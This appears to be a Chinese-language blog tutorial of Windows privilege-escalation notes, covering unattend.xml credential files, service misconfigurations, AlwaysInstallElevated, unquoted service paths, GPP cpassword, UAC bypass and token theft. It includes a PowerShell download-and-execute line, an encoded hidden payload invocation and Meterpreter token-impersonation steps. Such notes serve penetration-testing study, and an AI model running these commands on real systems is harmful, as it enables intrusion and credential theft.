简易提权知识点总结

系统内核溢出漏洞

手动执行发现缺失补丁

  • 当获取到目标机器的 shell 以后,可以通过如下命令来看系统安装了哪些补丁,还具有哪些漏洞
1
2
3
4
whoami /groups //根据下面的Mandatory Label\Medium Mandatory Level 来看自己是一个什么权限

systeminfo //查看当前系统安装了哪些补丁
wmic qfe get Caption,Description,HotFixID,InstalledOn //查看当前系统安装了哪些补丁
  • 使用上传或者[[powershell]]的下载功能来将 exp 放到目标机里边
1
powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('192.168.1.1');执行的代码。。。"

通过联网查询得知并且利用

Windows 系统配置错误

直接获取系统安装的配置文件

概述

网络管理员在给一堆机器安装同一环境时,会使用脚本调用固定的安装配置文件进行安装,有的时候回包含管理员账号密码等信息

常见敏感安装配置文件如下:

1
2
3
4
5
6
7
8
9
10
11
C:\sysprep.inf
C:\sysprep\sysprep.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\Panther\unattend.xml

多种利用方式

  • 直接使用 dir 相关命令搜索
1
dir /b /s c:\Unattend.xml
  • [[Metasploit#post windows gather enum_unattend]]

系统服务权限配置错误

概述

Windows 系统服务文件在系统启动时加载并执行,并在后台持续调用可执行文件。而如果一个低权限用户对此类文件具有写权限(即可以更改它),那么就会造成安全隐患。

服务未运行:攻击者使用任意服务替换原来的服务,并重启服务
服务运行中且无法被终止:大多数环境如此,攻击者会利用 DLL 劫持技术并尝试重启服务来提权

多种利用方式

此脚本会列出服务权限配置错误的漏洞,且下面的 AbuseFunction 里会有需要执行的命令

  • [[Metasploit#exploit windows local service_permissions]]

注册表键 AlwaysInstallElevated

概述

这个策略设置项一旦开启,Windows 将允许任何权限用户以 NT AUTHORITY\SYSTEM 的身份来安装恶意 MSI

MSI 即 Microsoft Windows Installer,双击 MSI 程序就会自动调用 Windows 自带的 Msiexec.exe(这个里边包含了大量安装和卸载软件时需要使用的指令与数据)

这个策略通过 gpedit.msc 中的如下操作打开:
组策略->计算机配置->管理模板->Windows 组件->Windows Installer->永远以高特权安装:选择启用
组策略->用户配置->管理模板->Windows 组件->Windows Installer->永远以高特权安装:选择启用

然后注册表会在如下两个位置上自动创建值:1
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

多种利用方式

  • 利用 Powerup 的 Get-RegistryAlwaysInstallElevated 模块来检测此注册表键是否被设置
  • 然后利用 Powerup 的 Write-UserAddMSI 模块,生成一个 Useradd.msi 的 MSI 文件,然后只要以低权限执行这个文件,就会微系统添加一个管理员账户

可信任服务路径漏洞

概述

文件或者文件夹都有权限,当用户自身的权限高于它就可以访问,低于就不行。
比方说用户自身的权限很低,而假设 C: \Program Files\Some Folder\test_service.exe 这个可执行服务程序的权限很高,且满足了调用服务路径未被引号包裹(可以通过 wmic 查明)并有空格在其中,Windows 会以本属于 test_service.exe 的高权限去依次查询有没有 C: \Program.exe C: \Program Files\Some.exe 是否存在,存在就直接用高权限执行了。(相当于 Windows 是以空格做一个截断)

所以我们只要构造一个存在此漏洞的服务的恶意路径文件名比方说上面的 C: \Program Files\Some.exe 实际上是我们上传的恶意文件,重启那个正常服务就会以高权限执行我们的恶意文件了

利用方式一:

  • 使用 wmic 来先列出没有被引号引起来且有空格的服务路径
1
wmic service get name,displayname,pathname,startmode |findstr /i "AUTO" |findstr /i /v "C:\Windows\\" |findstr /i /v """
  • 接下来利用 icacls 检测是否对那个有空格的目录有写权限
1
icacls "C:\Program Files\Some folder"

如果有 Everyone 则说明用户对这个文件夹有完全控制权限,括号后面的字符解释如下表格

字符 含义
(M) 修改
(F) 完全控制
(CI) 从属容器将继承访问控制项
(OI) 从属文件将继承访问控制项
  • 然后将重命名过后的恶意文件放到存在问题的目录下,并使用 sc 重启服务就好了
1
2
sc stop service_name
sc start service_name

利用方式二:

  • [[Metasploit#exploit windows local unquoted_service_path]]

计划任务

Windows 运行时会有一些计划任务,如果攻击者对那些以高权限运行的任务的目录文件有写权限,那么用恶意文件将其替换,系统便会以高权限运行那个恶意文件

使用如下命令来查看计划任务:

1
schtasks /query /fo LIST /v`

利用方式

这个软件是 Windows 自己发布的,常用于管理与排除故障操作,所以一般不会引起杀软的报警

1
2
3
4
5
6
7
8
9
10
11
12
13
//第一次运行SysInternals工具包的软件会弹出一个协议许可对话框可以使用这个命令来自动接受许可协议
accesschk.exe /accepteula

//查看某文件夹权限配置情况
accesschk.exe -dqv "C:\Users" -accepteula

//列出某个驱动器下所有权限配置有缺陷的文件夹
accesschk.exe -uwdqsUsersc:\
accesschk.exe -uwdqs"AuthenticatedUsers"c:\

//列出某个驱动器下所有权限配置有缺陷的文件
accesschk.exe -uwqsUsersc:\*.*
accesschk.exe -uwqs"AuthenticatedUsers"c:\*.*

组策略首选项问题

创建一个组策略并批量修改本地管理员密码

创建[[域]]环境后,一般情况下域内机器都是要用自己的密码登录,而为了提升本地管理员密码的安全性,往往会批量修改这个密码

  • 步骤是:创建组策略->更新组策略中的首选项密码->将 Domain Computers 组添加到验证组策略对象列表中->将新建的组策略应用到域中所有的非域控机器上
  • 虽然调高了安全性,但是域中所有机器的本地管理员密码都是相同的了

获取组策略凭据

概述

往往在管理员新建了组策略之后,操作系统会在 SYSVOL 共享目录中生成一个[[XML]]文件来保存修改过后的密码,这个密码使用 AES-256 加密算法,安全性还是可以的,但是 2012 年微软官方公布了该密码的私钥,遂安全性降低

  • 目标是找到包含 cpassword 的 XML 文件

多种利用方式

  • 手动查找 cpassword
1
2
3
4
//使用type命令直接搜索访问XML文件
type \\dc\sysvol\pentest.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml

//然后使用gpprefdecrypt.py来进行解密即可
  • PowerSploit 提供的 Get-GPPPassword 脚本
  • [[Metasploit#post windows gather credentials gpp]]

绕过 UAC 提权

概述

UAC,即 User Account Control,在权限不够的情况下访问 C: \WindowsProgram Files 类似目录都需要进行 UAC 认证才能进行。

UAC 规定了高、中、低三个安全控制策略,高等级进程有管理员权限,中等级进程有普通用户权限,低等级进程权限是最有限的

UAC 有如下四种设置要求:

  • 始终通知:最严格的设置,每当程序需要使用高级别权限都会提示本地用户
  • 仅在程序试图更改我的计算机程序时通知我 :UAC 的默认设置,本地 Windows 程序使用高权限时不通知,第三方使用时通知
  • 仅在程序试图更改我的计算机程序时通知我(不降低桌面亮度):与默认相似,但不降低桌面亮度
  • 从不提示:当用户是系统管理员时,所有程序都会以最高权限运行

需要 UAC 授权才能进行的操作

  • 配置 Windows Update
  • 增加/删除账户
  • 更改账户类型
  • 更改 UAC 设置
  • 安装 ActiveX
  • 安装/卸载程序
  • 安装设备驱动程序
  • 将文件移动/复制到 Program Files 或者 Windows 目录下
  • 查看其他用户的文件夹

利用方式

bypassuac 模块

假设已经拿到了目标的一个 meterpreter 的 shell,但是权限是普通用户,我们需要将其提权为管理员用户
直接使用[[Metasploit#exploit windows local bypassuac]]模块即可(别忘了填入之前 meterpreter 的 session)

![[Metasploit#exploit windows local bypassuac]]

Runas 模块

![[Metasploit#exploit windows local ask]]

Nishang 的 Invoke-PsUACme 模块

1
2
3
4
5
6
7
8
9
10
//使用Sysprep方法执行默认的Payload
Invoke-PsUACme -Verbose

//使用oobe方法并默认执行payload
Invoke-PsUACme -method oobe -Verbose

//使用-Payload参数,可以自定要执行的payload
Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e YourEncodedPayload"

还可以使用-PayloadPath来指定Payload路径,使用-CustomDll64或者-CustomDll32来自定义DLL文件

Empire 中的 bypassuac 模块

  • bypassuac 模块
1
2
3
4
5
usemodule privesc/bypassuac //使用模块

set Listener resek4 //设置监听参数

execute //执行
  • bypassuac_wscript 模块

只适用于 Windows7,尚未有补丁,但是杀软会提示

1
2
3
4
5
usemodule privesc/bypassuac_wscript //使用模块

set Listener resek4 //设置监听参数

execute //执行

令牌窃取

概述

令牌(Token)是系统的临时秘钥,相当于账户与密码,只要不重启系统,获得了令牌就可以在不提供密码或其他凭证的情况下访问网络与系统资源,一般来说令牌随机性与不可预测性很高,攻击者很难猜出来

令牌分为:

  • 访问令牌(Access Token)代表访问控制操作主体的访问对象
  • 密保令牌(Security Token)又叫做“认证令牌”或“硬件令牌”,例如:U 盾
  • 会话令牌(Session Token)是交互会话的唯一身份标识符
  • 伪造令牌的核心为 Kerberos 协议,在第 4 步服务器发送给客户端令牌后,攻击者入侵服务器来窃取那个令牌

利用方式

令牌窃取

假设已经获取了目标机器的 metepreter 的 shell,依次在 metepreter 中执行以下命令

1
2
3
4
5
6
7
8
use incognito 
list_token -u //列出可用令牌
//列出的令牌分两种,一种是Delegation Tokens授权令牌,支持交互式登录(例如远程桌面)
//另一种是Impersonation Tokens模拟令牌,支持非交互式的对话
//令牌的数量取决于shell的访问级别,令牌的格式为:机器名\用户名

impersonate_token WIN-57TJ21312UGE\\Administrator //用伪造的令牌进行访问
shell //用伪造的身份开启shell,这个时候返回的隧道就是管理员的了,可以用whoami查看

Rotten Potato 提权

和上一步一样,执行到 list_token -u 列出令牌的步骤,然后下载 Rotten Potato
该软件目录里有个 rottenpotato.exe,执行如下命令

1
2
3
4
upload /root/RottenPotato/rottenpotato.exe //上传到目标机器

execute -HC -f rottenpotato.exe
impersonate_token "NT AUTHORITY\\SYSTEM" //这时候再使用getuid已经可以看见权限提升了

Empire 下的 mimikatz

  • 运行 mimikatz,输入 creds 可以查看 Empire 列举出来的密码
  • 使用 pth 比方说:pth 7 来选择自己要窃取的令牌
  • 同时可以使用 ps 命令查看当前是否有域用户的进程正在运行
  • 获取令牌后,可以使用 revtoself 命令来恢复令牌权限

无凭证条件下的权限获取

概述

[[LLMNR]]

![[LLMNR]]

NetBIOS

Net-NTLM Hash

利用方式

Author

Resek4

Posted on

2021-02-19

Updated on

2023-02-26

Licensed under

Comments